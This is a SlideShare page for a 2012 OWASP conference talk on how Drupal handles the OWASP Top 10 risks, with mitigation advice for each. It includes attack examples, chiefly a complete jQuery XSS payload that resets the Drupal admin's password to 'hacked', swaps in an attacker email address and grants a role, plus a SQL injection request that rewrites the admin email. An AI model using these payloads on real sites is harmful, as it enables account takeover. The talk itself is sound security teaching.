OWASP Top 10 vs Drupal - OWASP Benelux 2012

7,149 views
6,978 views

Published on

OWASP Top 10 vs Drupal
Abstract: Drupal is the most used and well-known open source content management system in the world. Created by Dries Buytaert years ago it has grown with the support of a big community. Drupal 7 is already released and there is an entire ecosystem for Drupal and Drupal web agencies.
During this presentation we will discuss the findings of an automated static code analysis of Drupal 6 and Drupal 7 and how Drupal protects against the OWASP Top 10 Application Security Risks. We will explain the security weaknesses that remain when you use Drupal and what you can implement to have a secure cloud server running Drupal.

Published in: Technology
0 Comments
4 Likes
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
7,149
On SlideShare
0
From Embeds
0
Number of Embeds
6
Actions
Shares
0
Downloads
0
Comments
0
Likes
4
Embeds 0
No embeds

No notes for slide
  • XSS vulnerability zit hem in de $vocab->name die niet wordt sanitized, als iemand alert(‘hack’) als naam invult wordt dit uitgevoerd op de front-end. Simpele manier van mitigation = check_plain()
  • Deze code kan user passwoorden veranderen naar “hacked”.
  • Hoewel er op veel fora wordt gezegd om de toegang op publieke urls met een access callback die altijd true teruggeeft te doen, is dit toch een beetje tegen de best practise. Er is een volledig geintegreerd permission systeem waar je iedereen rechten kan geven. Verder is er het tweede stuk wat een automatische login is op basis van uid & een hash van de uid, wat ook broken is en door iedereen op elke moment kan worden misbruikt.
  • OWASP Top 10 vs Drupal - OWASP Benelux 2012

    1. 1. OWASP Top 10 vs Drupal OWASP Benelux Conference 2012Erwin Geirnaert: CEO & Application Security Expert
    2. 2. Agenda• About me• Drupal Core Security• OWASP Top 10 vs Drupal
    3. 3. About me
    4. 4. Securing DrupalDrupal Core Security
    5. 5. Automated code review• Checkmarx is a recognized vendor of Source Code Analysis (SCA)• Automated code review of Drupal 6 and Drupal 7• Only issues identified in the Drupal back- end• Admin access = root access
    6. 6. Drupal 6
    7. 7. Drupal 6 Most vulnerable pages
    8. 8. Threat path
    9. 9. Drupal 7
    10. 10. Drupal 7 Most vulnerable pages
    11. 11. Did you see this?
    12. 12. Arbitrary PHP code execution• A bug in the installer code was identified that allows an attacker to re-install Drupal using an external database server under certain transient conditions. This could allow the attacker to execute arbitrary PHP code on the original server.• This vulnerability is mitigated by the fact that the re-installation can only be successful if the sites settings.php file or sites directories are writeable by or owned by the webserver user. Configuring the Drupal installation to be owned by a different user than the webserver user (and not to be writeable by the webserver user) is a recommended security best practice. However, in all cases the transient conditions expose information to an attacker who accesses install.php, and therefore this security update should be applied to all Drupal 7 sites. Business logic flaw!!!
    13. 13. Did you see this?
    14. 14. Securing DrupalOWASP Top 10 vs Drupal
    15. 15. OWASP Top Ten (2010 Edition)http://www.owasp.org/index.php/Top_10
    16. 16. A1 – InjectionInjection means…• Tricking an application into including unintended commands in the data sent to an interpreterInterpreters…• Take strings and interpret them as commands• SQL, OS Shell, LDAP, XPath, Hibernate, etc…SQL injection is still quite common• Many applications still susceptible (really don‟t know why)• Even though it‟s usually very simple to avoidTypical Impact• Usually severe. Entire database can usually be read or modified• May also allow full database schema, or account access, or even OS level access
    17. 17. A1-Injection• Where is the bug?
    18. 18. A1-Injection• How not to do it db_query("SELECT * FROM {users} WHERE uid = $uid");• How can this be exploited? $uid = $_GET[„id‟]; //they don‟t pass an integer as expected  hacker requests: drupal.org?id=1;Update {users} SET mail=„malicious@hacker.com‟ WHERE uid = 1; db_query("SELECT * FROM {users} WHERE uid = $uid"); becomes SELECT * FROM {users} WHERE uid = 1;Update {users} SET mail=„malicious@hacker.com‟ WHERE uid = 1;
    19. 19. A1-Injection• Prevent injection using Drupal API properly db_query("SELECT * FROM {users} WHERE uid = %d", $uid);• The db_query method does sanitizing for you.
    20. 20. A2 – Cross-Site Scripting (XSS)Occurs any time…• Raw data from attacker is sent to an innocent user‟s browserRaw data…• Stored in database• Reflected from web input (form field, hidden field, URL, etc…)• Sent directly into rich JavaScript clientVirtually every web application has this problem• Try this in your browser – javascript:alert(document.cookie)Typical Impact• Steal user‟s session, steal sensitive data, rewrite web page, redirect user to phishing or malware site• Most Severe: Install XSS proxy which allows attacker to observe and direct all user‟s behavior on vulnerable site and force user to other sites
    21. 21. A2-Cross Site Scripting (XSS)• Where is the bug?
    22. 22. A2-Cross Site Scripting (XSS)• How does it happen? print $_GET[„error‟];• At first sight it looks harmless, right?• WRONG!!!• An actual example of XSS to change users‟ password & change roles.
    23. 23. A2-Cross Site Scripting (XSS)• <script> // Test for the presence of jquery. if (typeof jQuery == function) { // Fetch a correct token from user/1/edit because we will need it to // successfully submit the user edit form later. // TODO: Include a check to increase the chance that the current user is admin, // which will reduce the number of access denied error messages in the log. jQuery.get(Drupal.settings.basePath + user/1/edit, function (data, status) { if (status == success) { // Extract the token and other required data var matches = data.match(/name="name" value="([a-zA-Z0-9])"/); var name = matches[1]; var mail = greg.knaddison+evilguy@acquia.com; var matches = data.match(/name="form_token" value="([a-zA-Z0-9_-])"/); var token = matches[1]; var matches = data.match(/name="form_build_id" value="(form-[a-zA-Z0-9_-]*)"/); var build_id = matches[1]; // Post the minimum amount of fields. Other fields get their default values. var payload = { "name": name, "mail": mail, "form_id": user_profile_form, http://crackingdrupal.com/blog/gre "form_token": token, build_id : build_id, "pass[pass1]": hacked, ggles/update-uid1-password- "pass[pass2]": hacked, "roles[3]": 3 javascript-ported-drupal-6x }; jQuery.post(Drupal.settings.basePath + user/1/edit, payload); } } ); } </script>
    24. 24. A2-Cross Site Scripting (XSS)• If code like before gets executed by a privileged user: GAME OVER
    25. 25. A2-Cross Site Scripting (XSS)• How to prevent it? Drupal offers a range of tools:• Filter_xss()  Filters HTML to prevent cross-site-scripting (XSS) vulnerabilities.• Check_Plain() Encodes special characters in a plain-text string for display as HTML.• Check_url()  Strips dangerous protocols from a URI and encodes it for output to HTML.
    26. 26. A2-Cross Site Scripting (XSS)• It is more important to think of a proper way of handling data & error messages, rather than mending wounds later.• E.g: Proper error handling drupal_set_message(„An error occured‟, „error‟);
    27. 27. A3 – Broken Authentication and Session ManagementHTTP is a “stateless” protocol• Means credentials have to go with every request• Should use SSL for everything requiring authenticationSession management flaws• SESSION ID used to track state since HTTP doesn‟t • and it is just as good as credentials to an attacker• SESSION ID is typically exposed on the network, in browser, in logs, …Beware the side-doors• Change my password, remember my password, forgot my password, secret question, logout, email address, etc…Typical Impact• User accounts compromised or user sessions hijacked
    28. 28. A3-Broken Authentication and Session Management
    29. 29. A3-Broken Authentication and Session Management• In Drupal user accounts and authentication are managed by Drupal core.• Authentication cookies and a users name, ID, and password are managed on the server to prevent a user from easily escalating their authorization.• Passwords are NEVER emailed.
    30. 30. A3-Broken Authentication and Session Management• User passwords, in Drupal 7, are salted and hashed using an algorithm based on the Portable PHP Password• Hashing Framework and sessions are destroyed upon login and logout.
    31. 31. A4 – Insecure Direct Object ReferencesHow do you protect access to your data?• This is part of enforcing proper “Authorization”, along with A7 – Failure to Restrict URL AccessA common mistake …• Only listing the „authorized‟ objects for the current user, or• Hiding the object references in hidden fields• … and then not enforcing these restrictions on the server side• This is called presentation layer access control, and doesn‟t work• Attacker simply tampers with parameter valueTypical Impact• Users are able to access unauthorized files or data
    32. 32. A4-Insecure Direct Object ReferencesA direct object reference occurs when adeveloper exposes a reference to an internalimplementation object, such as a file,directory, or database key. Without anaccess control check or other protection,attackers can manipulate these referencesto access unauthorized data.
    33. 33. A4-Insecure Direct Object References• Drupal provides, in most cases, a direct reference (node/[id], user/[id], ..) to its entities.• At the moment there is no core solution to prevent direct referencing. There are community contributed modules to obfuscate.
    34. 34. A4-Insecure Direct Object ReferencesWhat is the risk?• If you have private pages that aren‟t referenced on your website but aren‟t properly protected, they can still be found simply by crawling node/1, node/2, node/3. etc..
    35. 35. A4-Insecure Direct Object ReferencesTo deal with this:• Ensure proper permissions are configured at all times for content types & pages specifically• Protection against semantic forgery attacks is implemented in Drupal core via the Form API
    36. 36. A5 – Cross Site Request Forgery (CSRF)Cross Site Request Forgery• An attack where the victim‟s browser is tricked into issuing a command to a vulnerable web application• Vulnerability is caused by browsers automatically including user authentication data (session ID, IP address, Windows domain credentials, …) with each requestImagine…• What if a hacker could steer your mouse and get you to click on links in your online banking application?• What could they make you do?Typical Impact• Initiate transactions (transfer funds, logout user, close account)• Access sensitive data• Change account details
    37. 37. A5-Cross Site Request Forgery (CSRF)A CSRF attack forces a logged-on victim‟sbrowser to send a forged HTTP request,including the victim‟s session cookie andany other automatically includedauthentication information, to a vulnerableweb application. This allows the attacker toforce the victim‟s browser to generaterequests the vulnerable application thinksare legitimate requests from the victim.
    38. 38. A5-Cross Site Request Forgery (CSRF)• Drupal validates user intention in actions using industry standard techniques. Typical actions with side-effects (e.g. delete database objects) are generally conducted with the HTTP POST method. With AJAX you can easily create HTTP POST XmlHTTPRequests Combine this with XSS 
    39. 39. A5-Cross Site Request Forgery (CSRF)You can add security tokens to linksWhen you access the path you can checkthe token validity
    40. 40. A5-Cross Site Request Forgery (CSRF)• Drupals Form API implements unique form tokens to protect against CSRF in POST requests.• Less important actions can leverage the one-time token generation and validation functions of the Form API while still using an HTTP GET request.
    41. 41. A6 – Security MisconfigurationWeb applications rely on a secure foundation• Everywhere from the OS up through the App Server• Don‟t forget all the libraries you are using!!Is your source code a secret?• Think of all the places your source code goes• Security should not require secret source codeCM must extend to all parts of the application• All credentials should change in productionTypical Impact• Install backdoor through missing OS or server patch• XSS flaw exploits due to missing application framework patches• Unauthorized access to default accounts, application functionality or data, or unused but accessible functionality due to poor server configuration
    42. 42. A6-Security Misconfiguration• Avoid using FTP at all cost (Total Commander is the enemy)• Keep your OS, PHP, SQL server, etc. up to date• Avoid any kind of PHP input, write your own modules instead• SSH access from everywhere?• /user/admin accessible from everywhere?
    43. 43. A6-Security Misconfiguration• Drupal guides you fairly well through the configuration of your website when you‟re installing it.• The status report page keeps you up to date on out of date modules or settings that aren‟t correct.
    44. 44. A6-Security Misconfiguration• Drupal keeps a list of best practices online that will help you configure your website with optimal security.http://drupal.org/security/secure-configuration
    45. 45. A7 – Insecure Cryptographic StorageStoring sensitive data insecurely• Failure to identify all sensitive data• Failure to identify all the places that this sensitive data gets stored • Databases, files, directories, log files, backups, etc.• Failure to properly protect this data in every locationTypical Impact• Attackers access or modify confidential or private information • e.g, credit cards, health care records, financial data (yours or your customers)• Attackers extract secrets to use in additional attacks• Company embarrassment, customer dissatisfaction, and loss of trust• Expense of cleaning up the incident, such as forensics, sending apology letters, reissuing thousands of credit cards, providing identity theft insurance• Business gets sued and/or fined
    46. 46. A7-Insecure Cryptographic Storage• Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify such weakly protected data to conduct identity theft, credit card fraud, or other crimes.
    47. 47. A7-Insecure Cryptographic Storage• Drupal is modeled on the Portable PHP Password Framework• Drupal provides a randomly generated private key for every installation. Modules can use this key to use reversible encryption for sensitive data like credit- card numbers.
    48. 48. A8 – Failure to Restrict URL AccessHow do you protect access to URLs (pages)?• This is part of enforcing proper “authorization”, along with A4 – Insecure Direct Object ReferencesA common mistake …• Displaying only authorized links and menu choices• This is called presentation layer access control, and doesn‟t work• Attacker simply forges direct access to „unauthorized‟ pagesTypical Impact• Attackers invoke functions and services they‟re not authorized for• Access other user‟s accounts and data• Perform privileged actions
    49. 49. A8-Failure to Restrict URL Access• Drupal is a powerful permission-based system which checks permissions for every URL request, even if the URL path is set to allow everyone access.
    50. 50. A8-Failure to Restrict URL AccessCustom module example/** * Implements hook_permission(). */function mymodule_permission() { return array( „mymodule_custom_permission => array( title => t(My module custom permission), description => t(„A custom permission setting for my module.), ), );}/** * Implements hook_menu(). */function mymodule_menu() { return array( „custom/path/to/mymodule => array( title => „My module path„, page callback => „mymodule_custom_permission , access arguments => array(access content), type => MENU_CALLBACK, ), );}
    51. 51. A8-Failure to Restrict URL Access• In previous example a custom permission was made and a path was defined using this permission for access check.• This setting will create a permission setting which you can assign to every role separatly.
    52. 52. A9 – Insufficient Transport Layer ProtectionTransmitting sensitive data insecurely• Failure to identify all sensitive data• Failure to identify all the places that this sensitive data is sent • On the web, to backend databases, to business partners, internal communications• Failure to properly protect this data in every locationTypical Impact• Attackers access or modify confidential or private information • e.g, credit cards, health care records, financial data (yours or your customers)• Attackers extract secrets to use in additional attacks• Company embarrassment, customer dissatisfaction, and loss of trust• Expense of cleaning up the incident• Business gets sued and/or fined
    53. 53. A9-Insufficient Transport Layer Protection• Drupal supports the use of SSL when accepting connections and rendering internal links. Drupal provides several options including: – full SSL – no-SSL – mixed-mode SSL
    54. 54. A10 – Unvalidated Redirects and ForwardsWeb application redirects are very common• And frequently include user supplied parameters in the destination URL• If they aren‟t validated, attacker can send victim to a site of their choiceForwards (aka Transfer in .NET) are common too• They internally send the request to a new page in the same application• Sometimes parameters define the target page• If not validated, attacker may be able to use unvalidated forward to bypass authentication or authorization checksTypical Impact• Redirect victim to phishing or malware site• Attacker‟s request is forwarded past security checks, allowing unauthorized function or data access
    55. 55. A10-Unvalidated Redirects and Forwards
    56. 56. A10-Unvalidated Redirects and Forwards• Internal page redirects cannot be modified to circumvent Drupals core menu and access control system. This includes form redirects as well as flat url redirects
    57. 57. So is Drupal secure?• Core has no typical issues• Built-in validators and filters• Be carefull with custom code!• Be carefull with external modules!• Watch out for business logic flaws!
    58. 58. Drupal 8 is coming• Totally different approach• More object-oriented• Symphony framework
    59. 59. Questions?erwin.geirnaert@zionsecurity.com@ZIONSECURITYwww.zionsecurity.comblog.zionsecurity.com

    ×